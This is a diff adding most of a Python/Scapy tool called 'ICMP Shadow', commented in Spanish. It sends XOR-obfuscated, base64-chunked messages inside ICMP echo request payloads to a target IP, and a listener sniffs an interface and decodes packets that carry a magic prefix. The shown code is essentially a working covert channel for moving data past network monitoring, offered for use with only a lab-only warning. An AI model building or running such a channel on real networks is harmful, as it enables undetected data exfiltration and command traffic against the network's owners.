+ title=f"[bold red]ICMP Shadow v{VERSION} — Emisor[/]",
153
+ border_style="red",
154
+ ))
155
+
156
+ t = Table(border_style="red")
157
+ t.add_column("#", width=5, justify="right")
158
+ t.add_column("Payload (Base64, truncado)", width=60)
159
+ t.add_column("Tamaño", width=8, justify="right")
160
+ t.add_column("Estado", width=10)
161
+
162
+ for i, chunk in enumerate(chunks, 1):
163
+ payload_str = chunk.encode("ascii")
164
+ pkt = IP(dst=target) / ICMP(type=8, seq=i) / Raw(load=payload_str)
165
+ try:
166
+ send(pkt, verbose=False)
167
+ status = "[green]OK[/]"
168
+ except Exception as e:
169
+ status = f"[red]ERROR[/]"
170
+ if verbose:
171
+ console.print(f"[red]Error en paquete {i}: {e}[/]")
172
+
173
+ preview = chunk[len(MAGIC_PREFIX):len(MAGIC_PREFIX) + 50] + "…" if len(chunk) > 55 else chunk
174
+ t.add_row(str(i), preview, str(len(payload_str)), status)
175
+ time.sleep(0.05) # pausa mínima para no saturar el stack de red
176
+
177
+ console.print(t)
178
+ console.print(f"\n[green]✔ Transmisión completada ({total} paquete(s))[/]")
179
+
180
+
181
+ # ────────────────────────────────────────────────────────────────────────────
182
+ # Modo RECIBIDOR
183
+ # ────────────────────────────────────────────────────────────────────────────
184
+
185
+ class ShadowListener:
186
+ """
187
+ Captura paquetes ICMP Echo Request y decodifica el canal Shadow.
188
+
189
+ Acumula chunks del mismo emisor hasta que se reconstituye el mensaje
190
+ completo (cuando el payload no llena el CHUNK_SIZE → último fragmento).
191
+ """
192
+
193
+ def __init__(self, key: str, verbose: bool):
194
+ self.key = key
195
+ self.verbose = verbose
196
+ self._buffer: dict[str, list[tuple[int, str]]] = {}
197
+ self._count = 0
198
+
199
+ def process(self, pkt) -> None:
200
+ """Callback de Scapy para cada paquete ICMP capturado."""
201
+ if not (pkt.haslayer(ICMP) and pkt[ICMP].type == 8 and pkt.haslayer(Raw)):
202
+ return
203
+
204
+ raw_payload = pkt[Raw].load.decode("ascii", errors="ignore")
205
+
206
+ if not raw_payload.startswith(MAGIC_PREFIX):
207
+ if self.verbose:
208
+ console.print(f"[dim]ICMP sin prefijo Shadow: {raw_payload[:40]}[/]")
209
+ return
210
+
211
+ src_ip = pkt[IP].src
212
+ seq = pkt[ICMP].seq
213
+ self._count += 1
214
+
215
+ # Acumular chunks por IP fuente
216
+ if src_ip not in self._buffer:
217
+ self._buffer[src_ip] = []
218
+ self._buffer[src_ip].append((seq, raw_payload))
219
+
220
+ # Decodificar directamente el chunk (sin reensamblar por ahora)
221
+ clear = deobfuscate(raw_payload, self.key)
222
+ ts = datetime.now().strftime("%H:%M:%S")
223
+
224
+ if clear:
225
+ # Intentar reconstruir si viene segmentado
226
+ chunks = sorted(self._buffer[src_ip], key=lambda x: x[0])
227
+ # El último chunk determina si el mensaje es completo o no
228
+ # (simplificación: cada chunk puede ser mensaje independiente)
229
+ console.print(Panel(
230
+ f"[bold]IP fuente:[/] [cyan]{src_ip}[/] "
231
+ f"[bold]Seq:[/] {seq} "
232
+ f"[bold]Paquetes recibidos de esta IP:[/] {len(self._buffer[src_ip])}\n\n"
233
+ f"[bold green]Texto en claro:[/]\n{clear}",
234
+ title=f"[{ts}] [bold red]CAPTURA SHADOW[/]",
235
+ border_style="red",
236
+ ))
237
+ else:
238
+ if self.verbose:
239
+ console.print(f"[dim][{ts}] Paquete Shadow pero decodificación fallida (clave incorrecta?)[/]")
240
+
241
+ def run(self, interface: str) -> None:
242
+ """Inicia la captura en la interfaz especificada."""
243
+ console.print(Panel(
244
+ f"Interfaz: [bold]{interface}[/]\n"
245
+ f"Clave: [dim]{'*' * len(self.key)}[/]\n"
246
+ f"Filtro: ICMP Echo Request (type=8)\n"
247
+ f"[dim]Ctrl+C para detener[/]",
248
+ title=f"[bold red]ICMP Shadow v{VERSION} — Receptor[/]",
249
+ border_style="red",
250
+ ))
251
+
252
+ try:
253
+ sniff(
254
+ iface=interface,
255
+ filter="icmp",
256
+ prn=self.process,
257
+ store=False,
258
+ )
259
+ except KeyboardInterrupt:
260
+ pass
261
+
262
+ console.print(f"\n[bold red]Escucha finalizada.[/] Paquetes Shadow capturados: {self._count}")
263
+
264
+
265
+ # ────────────────────────────────────────────────────────────────────────────
266
+ # CLI
267
+ # ────────────────────────────────────────────────────────────────────────────
268
+
269
+ def build_parser() -> argparse.ArgumentParser:
270
+ """Construye el parser con subcomandos send / listen."""
271
+ p = argparse.ArgumentParser(
272
+ prog=TOOL_NAME,
273
+ description=(
274
+ f"VampSecure Labs ICMP Shadow v{VERSION} — "
275
+ "Canal encubierto ICMP para laboratorio Blue Team / Red Team"
276
+ ),
277
+ epilog="ADVERTENCIA: Solo para entornos de laboratorio autorizados. Requiere root.",
278
+ )
279
+ subs = p.add_subparsers(dest="mode", metavar="modo")
280
+ subs.required = True
281
+
282
+ # send
283
+ s = subs.add_parser("send", help="Enviar mensaje por canal ICMP Shadow")
284
+ s.add_argument("-t", "--target", required=True, help="IP destino")
285
+ s.add_argument("-d", "--data", required=True, help="Mensaje a transmitir")
286
+ s.add_argument("-k", "--key", default=DEFAULT_KEY, help="Clave XOR")
287
+ s.add_argument("--key-file", help="Fichero con la clave XOR (primera línea)")
288
+ s.add_argument("-v", "--verbose", action="store_true", help="Salida verbose")
289
+
290
+ # listen
291
+ li = subs.add_parser("listen", help="Escuchar canal ICMP Shadow entrante")
292
+ li.add_argument("-i", "--interface", default="eth0", help="Interfaz de red")
293
+ li.add_argument("-k", "--key", default=DEFAULT_KEY, help="Clave XOR")
294
+ li.add_argument("--key-file", help="Fichero con la clave XOR (primera línea)")
295
+ li.add_argument("-v", "--verbose", action="store_true", help="Salida verbose")
296
+
297
+ return p
298
+
299
+
300
+ def _resolve_key(args) -> str:
301
+ """Obtiene la clave XOR del fichero o parámetro --key."""
302
+ if getattr(args, "key_file", None):
303
+ try:
304
+ return Path(args.key_file).read_text(encoding="utf-8").splitlines()[0].strip()
305
+ except Exception as e:
306
+ console.print(f"[red]Error leyendo key-file: {e}[/]")
307
+ sys.exit(1)
308
+ return args.key
309
+
310
+
311
+ def main() -> None:
312
+ """Punto de entrada principal."""
313
+ console.print(BANNER.format(version=VERSION), style="bold red")
314
+
315
+ if os.geteuid() != 0:
316
+ console.print("[red]ERROR: Esta herramienta requiere privilegios de root.[/]")
317
+ sys.exit(1)
318
+
319
+ parser = build_parser()
320
+ args = parser.parse_args()
321
+ key = _resolve_key(args)
322
+
323
+ if args.mode == "send":
324
+ send_data(
325
+ target=args.target,
326
+ message=args.data,
327
+ key=key,
328
+ verbose=args.verbose,
329
+ )
330
+ elif args.mode == "listen":
331
+ listener = ShadowListener(key=key, verbose=args.verbose)
332
+ listener.run(interface=args.interface)
333
+
334
+
335
+ if __name__ == "__main__":
336
+ main()